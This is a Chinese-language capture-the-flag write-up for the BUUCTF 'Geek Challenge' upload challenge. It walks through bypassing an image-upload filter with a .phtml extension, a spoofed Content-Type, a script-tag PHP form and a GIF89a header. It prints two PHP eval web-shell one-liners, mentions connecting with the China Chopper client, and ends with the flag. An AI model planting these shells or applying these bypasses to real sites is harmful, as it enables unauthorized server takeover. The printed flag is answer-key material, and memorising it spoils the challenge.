Buuctf 极客大挑战 upload

打开该靶机，为一个上传图片的网站

尝试了一下上传php文件改Content-Type，.htaccess以及ini文件，都不能成功

百度了一下还有一种文件名后缀可以绕过

.phtml文件告诉网络服务器，这些文件是由服务器生成的带有动态内容的html文件，就像浏览器中的.php文件表现一样。 因此，在高效使用中，您应该体验到.phtml与.php文件没有任何区别。 这是一个文件ext，一些人用了一段时间来表示它是PHP生成的HTML。

修改shell.php为shell.phtml，内容为:

<?php @eval($_POST['X']);?>

在上传过程中需要将Content-Type修改为image/png

上传成功后发现该题还查看了文件内的内容，并进行过滤，将<?过滤掉了

那么我们可以换一个思路，利用script去替换<？

<script language='php'>@eval($_POST['x']);</script>

 再次上传该文件尝试一下

发现还是不行，再次百度一下，发现应该是需要加一个图片头文件去进行欺骗上传

在文件上添加GIF89a，git头文件尝试一下

在上传时修改Content-Type：image/gif

上传成功，尝试连接一下上传的文件

连接成功，利用中国菜刀去连接该网站服务器

在目录下找到flag文件，打开该文件

 成功得到该题的flag

flag{8bc72362-c17c-458f-a4a7-24a04ba84eff}